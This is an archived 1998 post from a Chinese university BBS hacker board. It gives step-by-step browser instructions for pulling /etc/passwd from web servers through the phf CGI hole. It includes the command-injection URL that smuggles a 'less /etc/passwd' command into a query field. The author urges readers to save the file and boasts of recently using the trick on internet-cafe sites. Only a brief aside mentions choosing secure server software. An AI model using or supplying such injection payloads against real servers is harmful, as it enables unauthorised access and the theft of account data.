荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Lg (北斗七星), 信区: Hacker
标 题: 用 WWW Browser 抓 /etc/passwd
发信站: BBS 荔园晨风站 (Mon Sep 21 17:11:27 1998), 站内信件
From:
calvin
Subject:
用 WWW Browser 抓 /etc/passwd
(Reply)
Date:
Thu Sep 17 14:49:19 1998
可 以 用 WWW Browser 抓 /etc/passwd ???? 那 当 然 !!
[1] 用 WWW Browser 连 到 yournet.net
[2] Location 输 入 --> "www.yournet.net/cgi-bin/nph-test-cgi?*"
[3] 接 著 如 果 出 来 一 份 像 Report 的 画 面 的 话 , 接 著 输 入
/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
[4] 发 生 了 甚 么 事 ?? etc/passwd 在 你 的 浏 览 器 中 " 显 示 " 出 来
了 !! 快 点 Save 吧 !!
这 个 方 法 管 不 管 用 ?? 依 各 系 统 所 使 用 的 WWW Server 软 体 不
同 而 有 差 异 , 所 以 如 果 你 在 选 购 WWW Server 软 体 的 时 候 也
请 注 意 一 下 它 的 安 全 性 , 不 一 定 名 牌 的 就 好 , 像 这 个 Hole...
当 然 这 个 方 法 曾 经 管 用 过 , 至 少 两 天 前 还 试 过 它 可 以 破 解
一 两 个 " 网 路 咖 啡 " 的 站 台 (<--- 又 是 , 安 全 性 值 得 讨 论 )!!
--
@@@@@@ @@@ @@@ @@@ @@@ 信言不美，美言不信。善者不辩，辩
@@@@@@@ @@! @@@ @@@ @@! @@@ @@@ @@!@!@@@ 者不善。知者不博，博者不知。圣人
!@@ @!@!@!@! @@! @!@ !@! @@! @!@@!!@! 不积，既以为人己愈有，既以与人己
!@! !!: !!! @!! !: .:! !!@ !!: !!! 愈多。天之道，利而不害；圣人之
:!! : : : !!: :: !!: :: : 道，为而不争。
:: :: : : ::.:: : Email:calvin@gz168.com
※ 来源:．华南网木棉站 bbs.gznet.edu.cn．[FROM: 202.38.212.85]
--
☆ 来源:．BBS 荔园晨风站 bbs.szu.edu.cn．[FROM: 210.39.0.47]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接：深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店